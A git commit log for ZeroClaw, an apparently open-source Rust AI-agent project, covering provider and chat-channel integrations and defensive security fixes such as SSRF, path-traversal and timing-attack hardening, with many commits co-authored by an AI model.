* feat(gateway): add per-endpoint rate limiting and webhook idempotency

* feat(config): make config writes atomic with rollback-safe replacement

---------

Co-authored-by: chumyin <chumyin@users.noreply.github.com>
2026-02-15 12:18:45 -05:00
Argenis
f1e3b1166d
feat: implement AIEOS identity support (#168)
Fixes #168

AIEOS (AI Entity Object Specification) v1.1 is now fully supported.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-15 11:46:02 -05:00
Argenis
1cfc63831c
feat(providers): add multi-model router for task-based provider routing
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-15 11:40:58 -05:00
Argenis
eadeffef26
fix: correct Z.AI API endpoint to prevent 404 errors
Update Z.AI base URL to https://api.z.ai/api/coding/paas/v4
2026-02-15 11:28:33 -05:00
Argenis
716fb382ec
fix: correct API endpoints for z.ai, opencode, and glm providers (#167)
Fixes #167

- z.ai: https://api.z.aihttps://api.z.ai/api/paas/v4
- opencode: https://api.opencode.aihttps://opencode.ai/zen/v1  
- glm: https://open.bigmodel.cn/api/paashttps://open.bigmodel.cn/api/paas/v4

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-15 11:22:03 -05:00
Argenis
b8c6937fbc
feat(agent): wire Composio tool into LLM tool descriptions
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-15 11:17:28 -05:00
Argenis
128b30cdf1
fix: install default Rustls crypto provider to prevent TLS initialization error
Install ring-based crypto provider at startup to fix Rustls TLS initialization error
2026-02-15 11:10:28 -05:00
Argenis
ced4d70814
feat(channels): wire up email channel (IMAP/SMTP) into config and registration
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-15 10:58:30 -05:00
Argenis
efe7ae53ce
fix: use UTF-8 safe truncation in bootstrap file preview
Fix panic when displaying workspace files containing multibyte UTF-8 characters by using char_indices().nth() to find safe character boundaries
2026-02-15 10:36:03 -05:00
Argenis
a5241f34ea
fix(discord): track gateway sequence number and handle reconnect opcodes (#159)
* feat(providers): add provider-aware API key resolution

- Add resolve_api_key() function that checks provider-specific env vars first
- For Anthropic, checks ANTHROPIC_OAUTH_TOKEN before ANTHROPIC_API_KEY
- Falls back to generic ZEROCLAW_API_KEY and API_KEY env vars
- Update create_provider() to use resolved_key instead of raw api_key
- Trim and filter empty strings from input keys

This enables setup-token support for Anthropic by checking ANTHROPIC_OAUTH_TOKEN
before ANTHROPIC_API_KEY when resolving credentials.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* feat(providers): add Anthropic setup-token support

- Rename api_key field to credential for clarity
- Add is_setup_token() method to detect setup-token format (sk-ant-oat01-)
- Add input trimming and empty string filtering
- Use Bearer auth for setup-tokens, x-api-key for regular API keys
- Update error message to mention both ANTHROPIC_API_KEY and ANTHROPIC_OAUTH_TOKEN
- Add test for setup-token detection
- Add test for whitespace trimming in new()

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix: skip serialization of config_path and workspace_dir to prevent save() failures

The config_path and workspace_dir fields are computed paths that should not be
serialized to the config file. When loading from TOML, these fields would be
deserialized as empty paths (or stale paths), causing save() to fail with
"Failed to write config file".

Fixes #112

Changes:
- Add #[serde(skip)] to config_path and workspace_dir fields
- Set computed paths in load_or_init() after deserializing from TOML

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix(discord): track gateway sequence number and handle reconnect opcodes

Three Discord Gateway issues fixed:

1. **Heartbeat sent `null` sequence** — Per Discord docs, the Gateway may
   disconnect bots that don't include the last sequence number in heartbeats.
   Now tracked via `sequence: i64` and included in every heartbeat.

2. **Dispatch sequence ignored** — The `s` field from dispatch events was
   never stored. Now extracted and tracked from every event.

3. **Opcodes 7/9 silently ignored** — Reconnect (op 7) and Invalid Session
   (op 9) caused the bot to hang on a dead connection. Now breaks the event
   loop so the daemon supervisor can restart the channel cleanly.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix(memory): use SHA-256 for embedding cache keys instead of DefaultHasher

- Replace DefaultHasher with SHA-256 for deterministic cache keys
- DefaultHasher is explicitly documented as unstable across Rust versions
- Truncate SHA-256 to 8 bytes (16 hex chars) to match previous format
- Ensures embedding cache is deterministic across Rust compiler versions

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

---------

Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-15 10:25:38 -05:00
Argenis
722c99604c
fix(daemon): reset supervisor backoff after successful component run
Reset supervisor backoff after successful component run to prevent excessive delays.

- Reset backoff to initial value when component exits cleanly (Ok(()))
- Move backoff doubling to AFTER sleep so first error uses initial_backoff
- Applied to both channel listener and daemon component supervisors

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-15 10:16:17 -05:00
Argenis
f8aef8bd62
feat: add anthropic-custom: prefix for Anthropic-compatible endpoints
Add support for custom Anthropic-compatible API endpoints via anthropic-custom: prefix
2026-02-15 10:13:18 -05:00
Argenis
8694c2e2d2
fix(providers): skip retries on non-retryable HTTP errors (4xx)
Skip retries on non-retryable HTTP client errors (4xx) to avoid wasting time on requests that will never succeed.

- Added is_non_retryable() function to detect non-retryable errors
- 4xx client errors (400, 401, 403, 404) are now non-retryable
- Exceptions: 429 (rate limiting) and 408 (timeout) remain retryable
- 5xx server errors remain retryable
- Fallback logic now skips retries for non-retryable errors

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-15 10:11:32 -05:00
Argenis
be135e07cf
feat: add Anthropic setup-token flow
Implements Anthropic setup-token flow from PR #103. All 907 tests pass.
2026-02-15 10:02:40 -05:00
Argenis
b208cc940e
feat: add IRC channel support
Add comprehensive IRC over TLS channel implementation with:
- TLS support with optional certificate verification
- SASL PLAIN authentication (IRCv3)
- NickServ IDENTIFY authentication
- Server password support (for bouncers like ZNC)
- Channel and private message (DM) support
- Message splitting for IRC 512-byte line limit
- UTF-8 safe splitting at character boundaries
- Case-insensitive nickname allowlist
- IRC style prefix for LLM responses (plain text only)
- Configurable via TOML or onboard wizard

All 959 tests passing.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-15 10:00:15 -05:00
Argenis
ef00cc9a66
fix(channels): check response status in send() for Telegram, Slack, and Discord
Reliability fix: check HTTP response status in channel send methods
2026-02-15 09:48:58 -05:00
Argenis
64a64ccd3a
fix: ollama provider ignores api_key parameter to prevent builder error
Ollama is a local service that doesn't use API keys - the api_key parameter is now ignored to prevent it being misinterpreted as base_url
2026-02-15 09:47:57 -05:00
Argenis
322f24fd63
fix(tools): add 10 MB file size limit to file_read tool
Security fix: add 10 MB file size limit to file_read tool
2026-02-15 09:38:53 -05:00
Argenis
6899ad4b8e
feat: add GitHub Copilot as a provider
Add support for GitHub Copilot's OpenAI-compatible API at https://api.githubcopilot.com
2026-02-15 09:29:20 -05:00
Argenis
35b63d6b12
feat: SkillForge — automated skill discovery, evaluation & integration engine (#144)
* feat: add SkillForge — automated skill discovery, evaluation, and integration engine

SkillForge adds a 3-stage pipeline for autonomous skill management:

- Scout: discovers candidate skills from GitHub (extensible to ClawHub, HuggingFace)
- Evaluate: scores candidates on compatibility, quality, and security (weighted 0.30/0.35/0.35)
- Integrate: generates standard SKILL.toml + SKILL.md manifests for approved candidates

Thresholds: >=0.7 auto-integrate, 0.4-0.7 manual review, <0.4 skip.
Uses only existing dependencies (reqwest, serde, tokio, tracing, chrono, anyhow).
Includes unit tests for all modules.

* fix: address code review feedback on SkillForge PR #115

- evaluate: whole-word matching for BAD_PATTERNS (fixes hackathon false positive)
- evaluate: guard against future timestamps in recency bonus
- integrate: escape URLs in TOML output via escape_toml()
- integrate: handle control chars (\n, \r, \t, \b, \f) in escape_toml()
- mod: redact github_token in Debug impl to prevent log leakage
- mod: fix auto_integrated count when auto_integrate=false
- mod: per-candidate error handling (single failure no longer aborts pipeline)
- scout: add 30s request timeout, remove unused token field
- deps: enable chrono serde feature for DateTime serialization
- tests: add hackathon/exact-hack tests, update escape_toml test coverage

* fix: address round-2 CodeRabbit review feedback

- integrate: add sanitize_path_component() to prevent directory traversal
- mod: GitHub scout failure now logs warning and continues (no pipeline abort)
- scout: network/parse errors per-query use warn+continue instead of ?
- scout: implement std::str::FromStr for ScoutSource (replaces custom from_str)
- tests: add path sanitization tests (traversal, separators, dot trimming)

---------

Co-authored-by: stawky <stakeswky@gmail.com>
2026-02-15 09:26:13 -05:00
Argenis
2ac571f406
fix: harden private host detection against SSRF bypass via IP parsing
Security fix for browser tool SSRF prevention via proper IP parsing.
2026-02-15 09:13:12 -05:00
Argenis
1eadd88cf5
feat: Support Responses API fallback for OpenAI-compatible providers (#134)
- Add new structs for Responses API request/response format
- Add helper functions for extracting text from Responses API responses
- Refactor auth header application into a shared apply_auth_header method
- When chat completions returns 404 NOT_FOUND, fall back to Responses API
- Add tests for Responses API text extraction

This enables compatibility with providers that implement the Responses API
instead of Chat Completions (e.g., some newer Groq models).

Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-15 09:03:42 -05:00
Argenis
1e21c24e1b
fix: harden private host detection against SSRF bypass via IP parsing (#133)
- Handle IPv6 addresses with brackets correctly
- Parse IP addresses properly to catch all representations (decimal, hex, octal)
- Check for IPv4-mapped IPv6 addresses
- Check for IPv6 private ranges (unique-local fc00::/7, link-local fe80::/10)
- Add tests for IPv6 SSRF protection

Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-15 08:52:01 -05:00
Argenis
031683aae6
fix(security): use path-component matching for forbidden paths (#132)
- Use Path::components() to check for actual .. path components instead of
  simple string matching (which was too conservative)
- Block URL-encoded traversal attempts (e.g., ..%2f)
- Expand tilde (~) for comparison
- Use path-component-aware matching for forbidden paths
- Update test to allow .. in filenames but block actual path traversal

Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-15 08:30:48 -05:00
Argenis
73ced20765
fix(tools): check for symlinks before writing and reorder mkdir (#131)
- Move create_dir_all before canonicalize to prevent race condition where
  an attacker could create a symlink after the check but before the write
- Reject symlinks at the target path to prevent symlink attacks

Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-15 08:26:39 -05:00
Argenis
1e19b12efd
fix(providers): warn on shared API key for fallbacks and warm up all providers (#130)
- Warn when fallback providers share the same API key as primary (could fail
  if providers require different keys)
- Warm up all providers instead of just the first, continuing on warmup failures

Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-15 08:23:50 -05:00
Argenis
641a5bf917
fix(skills): prevent path traversal in skill remove command
- Fix URL validation to check for https:// or http:// prefixes instead of partial string matching which could be bypassed
- Add path traversal protection in skill remove command to reject .., /, and verify canonical path is inside the skills directory
2026-02-15 08:15:41 -05:00
Argenis
da453f0b4b
fix: prevent panics from byte-level string slicing on multi-byte UTF-8
Uses floor_char_boundary() instead of direct byte indexing to prevent panics when slicing strings containing multi-byte UTF-8 characters.
2026-02-15 08:06:04 -05:00
Argenis
e3791aebcb
fix(imessage): escape newlines in AppleScript string interpolation
Prevents code injection via line breaks by escaping newline and carriage return characters in AppleScript string interpolation.
2026-02-15 08:00:59 -05:00
Argenis
e89415fc9a
chore: add .wt-pr37 Windsurf directory to gitignore
Also removes dead inject_openclaw_identity function and replaces unreachable macros with anyhow bail for cleaner error handling.
2026-02-15 07:44:50 -05:00
Edvard Schøyen
6725eb2995
fix(gateway): use constant-time comparison for WhatsApp verify_token
Uses constant_time_eq for verify_token to prevent timing attacks. Removes unused whatsapp_app_secret signature verification code for simplification.
2026-02-15 07:42:52 -05:00
Edvard Schøyen
bd02d73ecc
test: add comprehensive pairing code consumption tests
Add comprehensive tests for pairing code consumption feature
2026-02-15 07:36:54 -05:00
argenis de la rosa
80c599f215 fix: correct truncate_with_ellipsis to trim trailing whitespace
- Update truncate_with_ellipsis to trim trailing whitespace for cleaner output
- Fix test expectations to match trimmed behavior
- This resolves merge conflicts and ensures consistent string truncation

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-15 07:06:56 -05:00
argenis de la rosa
b1c2cf865a merge: resolve conflicts with main and update README benchmarks 2026-02-15 07:02:41 -05:00
argenis de la rosa
085b57aa30 refactor: consolidate CLI command definitions to lib.rs
- Move all CLI command enums (ChannelCommands, SkillCommands, CronCommands, IntegrationCommands, MigrateCommands, ServiceCommands) to lib.rs
- Add clap derives for use in main.rs CLI parsing
- Update all modules to use crate:: prefix instead of super:: for command types
- Add mod util; to main.rs for binary compilation
- Export Config type from lib.rs for main.rs

This refactoring eliminates code duplication between library modules and binary, centralizing all CLI command definitions in one place.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-15 06:52:33 -05:00
Argenis
7b5e77f03c
fix: use safe Unicode string truncation to prevent panics (CWE-119)
Merge pull request #117 from theonlyhennygod/fix/unicode-truncation-panic
2026-02-15 06:49:48 -05:00
argenis de la rosa
9aaa5bfef1 fix: use safe Unicode string truncation to prevent panics (CWE-119)
Fixes Issue #55: Unicode string truncation causes panics with non-ASCII input

Previously, code used byte-index slicing (`&s[..n]`) which panics when the
slice boundary falls in the middle of a multi-byte UTF-8 character (emoji,
CJK, accented characters).

Changes:
- Added `truncate_with_ellipsis()` helper in `src/util.rs` that uses
  `char_indices()` to find safe character boundaries
- Replaced 2 unsafe truncations in `src/channels/mod.rs` with the safe helper
- Added 12 comprehensive tests covering emoji, CJK, accented chars, and edge cases

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-15 06:46:37 -05:00
argenis de la rosa
47c5006de4 Merge remote-tracking branch 'origin/feat/whatsapp-email-channels'
# Conflicts:
#	Cargo.lock
#	src/config/schema.rs
#	src/cron/mod.rs
#	src/security/secrets.rs
#	src/service/mod.rs
2026-02-15 06:37:51 -05:00
Argenis
5cc02c5813
fix: add WhatsApp webhook signature verification (X-Hub-Signature-256)
Closes #51

- Add HMAC-SHA256 signature verification for WhatsApp webhooks
- Prevents message spoofing attacks (CWE-345)
- Add whatsapp_app_secret config field with ZEROCLAW_WHATSAPP_APP_SECRET env override
- Add 13 comprehensive unit tests

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-15 06:17:24 -05:00
jbradf0rd
13748b590c feat: add Windows headless daemon support via Task Scheduler
Adds Windows branches to all 5 service commands (install/start/stop/
status/uninstall) using schtasks to register a "ZeroClaw Daemon"
scheduled task that runs at logon with highest privileges. A wrapper
.cmd script handles stdout/stderr redirection to the logs directory.

Also fixes symlink_tests.rs to compile on Windows by using the
correct std::os::windows::fs::symlink_dir API.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-15 00:05:17 -06:00
jbradf0rd
9d0e29972c feat: add dedicated GLM provider with JWT auth and GLM-4.7 support
The GLM/Zhipu provider was using the generic OpenAI-compatible provider,
which failed because:
- Zhipu requires JWT authentication (HS256 with sign_type: SIGN header),
  not raw Bearer tokens
- The endpoint uses /v4/chat/completions, not /v1/
- default_model_for_provider() had no GLM case, silently defaulting to
  a Claude model

Changes:
- Add src/providers/glm.rs with JWT token generation, caching, and
  correct Z.AI international endpoint
- Wire GLM provider into factory (mod.rs) replacing the broken
  OpenAI-compatible shim
- Add ring dependency for HMAC-SHA256 signing
- Add GLM-4.7 and GLM-4.7-Flash to onboarding wizard model list
- Fix default_model_for_provider() to return glm-4.7 for GLM provider

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-14 23:18:00 -06:00
Argenis
026a917544
Merge pull request #76 from ecschoye/fix/provider-warmup-cold-start
fix: add provider warmup to prevent cold-start timeout on first channel message
2026-02-14 22:40:51 -05:00
argenis de la rosa
7a03a01fbf Merge remote-tracking branch 'origin/main' into fix/bearer-token-hashing
# Conflicts:
#	src/security/pairing.rs
2026-02-14 21:51:28 -05:00
Argenis
7468b39693
Merge pull request #68 from fettpl/fix/key-generation-csprng
fix: replace UUID v4 key generation with direct CSPRNG
2026-02-14 21:41:43 -05:00
Argenis
cd2517b5b7
Merge pull request #74 from fettpl/fix/gateway-timeout-layer
fix: apply TimeoutLayer to gateway router for request timeouts
2026-02-14 21:23:31 -05:00
Argenis
f70bf3f943
Merge pull request #72 from fettpl/fix/windows-key-permissions-warning
fix: log warning when Windows key file permissions fail to set
2026-02-14 21:21:30 -05:00
fettpl
6d68e89ef0 Merge remote-tracking branch 'origin/main' into fix/windows-key-permissions-warning
# Conflicts:
#	src/security/secrets.rs
2026-02-15 02:29:59 +01:00
fettpl
82601f17f5 Merge remote-tracking branch 'origin/main' into fix/gateway-timeout-layer
# Conflicts:
#	src/security/secrets.rs
2026-02-15 02:29:40 +01:00
fettpl
b5071c13f3 Merge remote-tracking branch 'origin/main' into fix/constant-time-eq-length-leak
# Conflicts:
#	src/security/secrets.rs
2026-02-15 02:29:24 +01:00
fettpl
65c22ff027 Merge remote-tracking branch 'origin/main' into fix/bearer-token-hashing
# Conflicts:
#	src/security/secrets.rs
2026-02-15 02:29:09 +01:00
fettpl
2741e0f024 Merge remote-tracking branch 'origin/main' into fix/key-generation-csprng
# Conflicts:
#	src/security/secrets.rs
2026-02-15 02:28:52 +01:00
fettpl
33f64c7146 fix: consolidate env-var override tests to eliminate parallel races
Tests that set/remove the same environment variables can race when
cargo test runs them in parallel. Merges each racing pair into a
single test function.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-15 02:27:13 +01:00
fettpl
e62b7c9153 fix: consolidate env-var override tests to eliminate parallel races
Tests that set/remove the same environment variables can race when
cargo test runs them in parallel. Merges each racing pair into a
single test function.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-15 02:27:08 +01:00
fettpl
f87cbb28f2 fix: consolidate env-var override tests to eliminate parallel races
Tests that set/remove the same environment variables can race when
cargo test runs them in parallel. Merges each racing pair into a
single test function.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-15 02:27:02 +01:00
fettpl
65a5c3c1e8 fix: consolidate env-var override tests to eliminate parallel races
Tests that set/remove the same environment variables can race when
cargo test runs them in parallel. Merges each racing pair into a
single test function.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-15 02:26:39 +01:00
fettpl
cfa44250a7 fix: consolidate env-var override tests to eliminate parallel races
Tests that set/remove the same environment variables (PROVIDER,
PORT, HOST, TEMPERATURE, API_KEY) can race when cargo test runs
them in parallel. Merges each racing pair into a single test function.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-15 02:26:04 +01:00
argenis de la rosa
04a35144e8 feat: integrate open-skills library and cleanup clippy warnings
- Add open-skills auto-clone/pull/sync support in skills loader
  - Clone https://github.com/besoeasy/open-skills to ~/open-skills
  - Weekly sync via .zeroclaw-open-skills-sync marker
  - Env controls: ZEROCLAW_OPEN_SKILLS_ENABLED, ZEROCLAW_OPEN_SKILLS_DIR
  - Load open-skills markdown files before workspace skills
  - Track Skill.location for accurate prompt rendering

- Update system prompt to render skill.location with fallback
  - Use actual file path when available
  - Maintain backward compatibility with workspace SKILL.md path

- Fix clippy warnings across tests and supporting files
  - Readable timestamp literals
  - Remove underscore bindings in tests
  - Use struct update syntax for Config::default() patterns
  - Fix module inception, duplicate attributes, manual strip
  - Clean raw string hashes and empty string construction

Resolves: #77
2026-02-14 20:25:07 -05:00
fettpl
f7ae04e64e Merge remote-tracking branch 'origin/main' into fix/windows-key-permissions-warning
# Conflicts:
#	src/security/secrets.rs
2026-02-15 02:16:00 +01:00
fettpl
d2afc014b2 fix: replace unstable is_multiple_of with modulo for Rust 1.83 compat
The Docker image uses rust:1.83-slim where is_multiple_of is unstable.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-15 02:15:38 +01:00
fettpl
0247ac13e8 Merge remote-tracking branch 'origin/main' into fix/gateway-timeout-layer 2026-02-15 02:15:28 +01:00
fettpl
e0341e5996 fix: replace unstable is_multiple_of with modulo for Rust 1.83 compat
The Docker image uses rust:1.83-slim where is_multiple_of is unstable.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-15 02:15:24 +01:00
fettpl
b3c995c849 Merge remote-tracking branch 'origin/main' into fix/constant-time-eq-length-leak 2026-02-15 02:15:13 +01:00
fettpl
0603bed843 fix: replace unstable is_multiple_of with modulo for Rust 1.83 compat
The Docker image uses rust:1.83-slim where is_multiple_of is unstable.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-15 02:15:08 +01:00
fettpl
74648717f7 Merge remote-tracking branch 'origin/main' into fix/bearer-token-hashing 2026-02-15 02:14:45 +01:00
fettpl
dc0d6b6ca9 fix: replace unstable is_multiple_of with modulo for Rust 1.83 compat
The Docker image uses rust:1.83-slim where is_multiple_of is unstable.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-15 02:14:25 +01:00
fettpl
8d7e9a7dde Merge remote-tracking branch 'origin/main' into fix/key-generation-csprng 2026-02-15 02:14:06 +01:00
fettpl
91f2edab05 fix: replace unstable is_multiple_of with modulo for Rust 1.83 compat
The Docker image uses rust:1.83-slim where is_multiple_of is unstable.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-15 01:27:03 +01:00
fettpl
ac7c625368 fix: replace unstable is_multiple_of with modulo for Rust 1.83 compat
The Docker image uses rust:1.83-slim where is_multiple_of is unstable.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-15 01:26:44 +01:00
fettpl
671c3b2a55 fix: replace unstable is_multiple_of and update Cargo.lock for sha2
The Docker image uses rust:1.83-slim where is_multiple_of is unstable.
Also regenerates Cargo.lock to include the sha2 dependency.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-15 01:26:24 +01:00
argenis de la rosa
a68004184c fix(secrets): harden windows icacls username edge cases 2026-02-14 19:25:30 -05:00
fettpl
41ba251686 fix: replace unstable is_multiple_of with modulo for Rust 1.83 compat
The Docker image uses rust:1.83-slim where is_multiple_of is unstable.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-15 01:24:24 +01:00
argenis de la rosa
db1366f3e5 fix(ci): restore stable hex check and satisfy browser clippy gate 2026-02-14 19:09:35 -05:00
Edvard
1110158b23 fix: propagate warmup errors and skip when no API key configured
Address review feedback from @coderabbitai and @gemini-code-assist:
- Missing API key is now a silent no-op instead of returning an error
- Network/TLS errors are now propagated via `?` instead of silently
  discarded, so they surface as non-fatal warnings in the caller's log
- Added `error_for_status()` to catch HTTP-level failures

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-14 18:51:23 -05:00
Edvard
cc13fec16d fix: add provider warmup to prevent cold-start timeout on first channel message
The first API request after daemon startup consistently timed out (120s)
when using channels (Telegram, Discord, etc.), requiring a retry before
succeeding. This happened because the reqwest HTTP client's connection
pool was cold — no TLS handshake, DNS resolution, or HTTP/2 negotiation
had occurred yet.

The fix adds a `warmup()` method to the Provider trait that establishes
the connection pool on startup by hitting a lightweight endpoint
(`/api/v1/auth/key` for OpenRouter). The channel server calls this
immediately after creating the provider, before entering the message
processing loop.

Tested on Raspberry Pi 5 (aarch64) with OpenRouter + DeepSeek v3.2 via
Telegram channel. Before: first message took 2-7 minutes (120s timeout +
retries). After: first message responds in <30s with no retries.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-14 18:43:26 -05:00
Argenis
b931aeb56c
Merge pull request #69 from fettpl/fix/llm-error-leakage
fix: stop leaking LLM error details to clients
2026-02-14 18:34:30 -05:00
fettpl
2f2f56fc0c fix: use branchless operations in constant_time_eq
- Use bitwise & instead of && to avoid short-circuit timing leak
- Use get().unwrap_or(&0) instead of if/else for branchless byte access

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-15 00:30:23 +01:00
fettpl
6fd4b2d750 fix: handle empty USERNAME and add debug log for icacls success
- Check for empty USERNAME env var before running icacls to avoid a
  doomed invocation with ":F" grant argument
- Log a clear warning when USERNAME is empty
- Add tracing::debug on successful permission set

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-15 00:29:22 +01:00
fettpl
23048d10ac refactor: simplify hash_token using format macro
Replace manual hex encoding loop with `format!("{:x}", Sha256::digest(...))`,
which is more idiomatic and concise.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-15 00:28:04 +01:00
fettpl
a7ed2329d1 fix: assert variant_match in CSPRNG key entropy test
Add missing assertion for variant_match (byte[8] UUID v4 variant bits)
which was computed but never checked.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-15 00:25:20 +01:00
fettpl
8a304505df fix: apply TimeoutLayer to gateway router for request timeouts
Add tower-http TimeoutLayer with the existing REQUEST_TIMEOUT_SECS (30s)
constant and 408 Request Timeout status code. Previously, the constant
was defined but no timeout middleware was applied, allowing slow
requests to hold connections indefinitely (slow-loris risk).

Closes #60

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-15 00:04:05 +01:00
fettpl
6776373e8e fix: constant_time_eq no longer leaks secret length via early return
Remove the early return on length mismatch that leaked length
information via timing. Now iterates over max(a.len(), b.len()),
padding the shorter input with zeros, and checks both byte-level
differences and length equality at the end.

Closes #57

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-15 00:01:23 +01:00
fettpl
2942e5607d fix: log warning when Windows key file permissions fail to set
Replace silently discarded icacls result with proper error handling
that logs a tracing::warn! on failure. Previously, if icacls failed
(binary not found, permission denied), the key file would remain
world-readable on Windows with no indication of the problem.

Closes #56

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-14 23:59:36 +01:00
fettpl
b3bfbaff4a fix: store bearer tokens as SHA-256 hashes instead of plaintext
Hash paired bearer tokens with SHA-256 before storing in config and
in-memory. When authenticating, hash the incoming token and compare
against stored hashes. Backward compatible: existing plaintext tokens
(zc_ prefix) are detected and hashed on load; already-hashed tokens
(64-char hex) are stored as-is.

Closes #58

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-14 23:58:09 +01:00
fettpl
25e5f670bb fix: stop leaking LLM error details to HTTP clients and WhatsApp users
Log full error details server-side with tracing::error! and return
generic messages to clients. Previously, the raw anyhow error chain
(which could include provider URLs, HTTP status codes, or partial
request bodies) was forwarded to end users.

Closes #59

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-14 23:53:39 +01:00
fettpl
1f9247092c fix: replace UUID v4 key generation with direct CSPRNG
Use ChaCha20Poly1305::generate_key(&mut OsRng) to generate encryption
keys directly from the OS CSPRNG, providing full 256-bit entropy without
the fixed version/variant bits that UUID v4 introduces (6 fixed bits
per 128-bit UUID = only 244 effective bits from two UUIDs).

Closes #54

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-14 23:51:57 +01:00
argenis de la rosa
9c10338c7c feat: add Docker publish workflow for GHCR
- Add .github/workflows/docker.yml for automated Docker builds
- Publishes to ghcr.io/theonlyhennygod/zeroclaw
- Builds on push to main and tags (v*)
- Multi-platform support (linux/amd64, linux/arm64)
- Update docker-compose.yml to use GHCR image

Part of #45
2026-02-14 17:34:22 -05:00
argenis de la rosa
3219387641 fix: add clippy allow for manual_is_multiple_of lint (stable Rust compat) 2026-02-14 16:47:27 -05:00
argenis de la rosa
fc033783b5 fix: replace unstable is_multiple_of with modulo operator (fixes #42) 2026-02-14 16:39:24 -05:00
argenis de la rosa
09d3140127 feat: add Docker env var support for PORT, HOST, and TEMPERATURE
- Add port and host fields to GatewayConfig with defaults (3000, 127.0.0.1)
- Enhanced apply_env_overrides() to support:
  - ZEROCLAW_GATEWAY_PORT or PORT - Gateway server port
  - ZEROCLAW_GATEWAY_HOST or HOST - Gateway bind address
  - ZEROCLAW_TEMPERATURE - Default temperature (0.0-2.0)
- Add comprehensive tests for all new env var overrides
- Fix clippy warnings (is_multiple_of, too_many_lines)

Closes #45
2026-02-14 16:19:26 -05:00
argenis de la rosa
a310e178db fix: add missing port/host fields to GatewayConfig and apply_env_overrides method
- Add port and host fields to GatewayConfig struct
- Add default_gateway_port() and default_gateway_host() functions
- Add apply_env_overrides() method to Config for env var support
- Fix test to include new GatewayConfig fields

All tests pass.
2026-02-14 16:05:13 -05:00
Argenis
365692853c
Merge pull request #44 from sahajre/patch-1
Use of stable lib feature instead of experimental
2026-02-14 15:58:53 -05:00
argenis de la rosa
2c7021e90f fix: add memory config to wizard and fix clippy warnings
- Add chunk_max_tokens field to MemoryConfig in quick setup
- Add memory_backend parameter to run_quick_setup()
- Add setup_memory() step to interactive wizard (8 steps now)
- Fix clippy if_not_else warning
- Fix clippy match_same_arms warning
- Add clippy allows for browser.rs (too_many_lines, unnecessary_wraps)
2026-02-14 15:50:53 -05:00
argenis de la rosa
554f6e9ea5 feat: add browser automation tool using Vercel agent-browser
- Add src/tools/browser.rs with BrowserTool implementation
- Wraps agent-browser CLI for AI-optimized web browsing
- Supports: open, snapshot, click, fill, type, screenshot, wait, etc.
- Uses refs (@e1, @e2) from accessibility snapshots for precise element selection
- JSON output mode for LLM integration
- Security: allowlist-only domains, blocks private/local hosts
- Add session_name to BrowserConfig for persistent sessions
- Register BrowserTool in tools/mod.rs alongside BrowserOpenTool

All tests pass.
2026-02-14 15:46:36 -05:00
argenis de la rosa
153d6ff149 fix: resolve clippy warnings and formatting issues for CI
- Fix doc_markdown warnings in WhatsApp channel
- Fix needless_pass_by_value in cron, health, migration, service modules
- Fix match_same_arms in migration.rs
- Fix too_many_lines in skills/mod.rs
- Fix manual_let_else in tools/file_write.rs
- Apply cargo fmt formatting fixes

All 435 tests pass, clippy clean.
2026-02-14 15:36:19 -05:00
